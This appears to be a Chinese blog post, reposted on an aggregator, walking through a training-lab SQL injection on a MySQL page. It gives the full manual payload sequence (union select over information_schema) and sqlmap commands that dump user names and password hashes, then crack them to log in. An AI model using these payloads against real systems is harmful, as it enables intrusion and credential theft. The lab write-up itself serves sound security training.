SQL手工注入+sqlmap工具测试漏洞测试(MySQL数据库)字符型注入

编程入门 行业动态 更新时间:2024-10-28 11:27:57

SQL手工注入+sqlmap工具<a href=https://www.elefans.com/category/jswz/34/1771117.html style=测试漏洞测试(MySQL数据库)字符型注入"/>

SQL手工注入+sqlmap工具测试漏洞测试(MySQL数据库)字符型注入

靶场:墨者学院mysql的sql注入

工具:sqlmap

访问页面:

判断注入类型:

 利用插件Hackbar判断该网页的注入类型:

http://124.70.91.203:41148/new_list.php?id=tingjigonggao' and 1=1 --+

输入:http://124.70.91.203:41148/new_list.php?id=tingjigonggao' and 1=2 --+

 

通过判断and1=1 和and1=2 可以看出为字符型注入

利用order by 判断有几个字段:

 order by 5 的时候有报错,但是order by 4没有报错 说明该表中有4个字段.

下面利用union联合查询判断显示位置: union select 1,2,3,4 --+  判断出显示位在2和3

 接下来利用database() 和version() 俩个函数来判断当前数据库名称和版本信息。

也可以利用user(),@@version_compile_os来查询当前用户和操作系统:

操作系统(@@version_complie_os):linux

当前用户(user()): root@localhost

数据库名称(database()): mozhe_discuz_stormgroup

数据库版本(version()):10.2.15-MariaDB-log

http://124.70.91.203:45608/new_list.php?id=1' union select 1,database(),version(),4  --+ 

http://124.70.91.203:46301/new_list.php?id=1' union select 1,group_concat(table_name),database(),4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'   --+

这里讲解一下这个information_schema库,nformation_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式,比如有数据库名或表名,列的数据类型,或访问权限等信息

table_schema指的是数据库名称

 http://124.70.91.203:46301/new_list.php?id=1' union select 1,group_concat(column_name),database(),4 from information_schema.columns where  table_name = 'stormgroup_member' --+

这里table_name指的是表的名称

查看name,password字段里的内容:

http://124.70.91.203:41862/new_list.php?id=1' union select 1,group_concat(name),group_concat(password),4 from stormgroup_member --+

 之后利用MD5解密就可以了。

总结思路:利用database()函数来查询出当前的数据库,然后利用information_schema.tables查询该数据库里有什么表,然后利用information_schema.columns 查询出该表中的字段有id,name,password,最后联合查询stormgroup_member表中的name,password字段里的内容。MD5解密就ok。

下面是sqlmap工具:

首先 :sqlmap -u "http://124.70.91.203:46301/new_list.php?id=tingjigonggao" -dbs --batch

列出所有数据库:

 然后爆表:

 sqlmap -u "http://124.70.91.203:46301/new_list.php?id=tingjigonggao" -D mozhe_discuz_stormgroup --tables --batch

 爆表中 stormgroup_member 里的字段:

sqlmap -u "http://124.70.91.203:46301/new_list.php?id=tingjigonggao" -D mozhe_discuz_stormgroup -T stormgroup_member --columns --batch

 最后是字段内容:

  sqlmap -u "http://124.70.91.203:41862/new_list.php?id=tingjigonggao" -D mozhe_discuz_stormgroup -T stormgroup_member -C name,password --dump --batch

 MD5解密后登录。

更多推荐

SQL手工注入+sqlmap工具测试漏洞测试(MySQL数据库)字符型注入

本文发布于:2024-02-11 23:35:45,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1684317.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:测试   漏洞   字符   手工   数据库

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!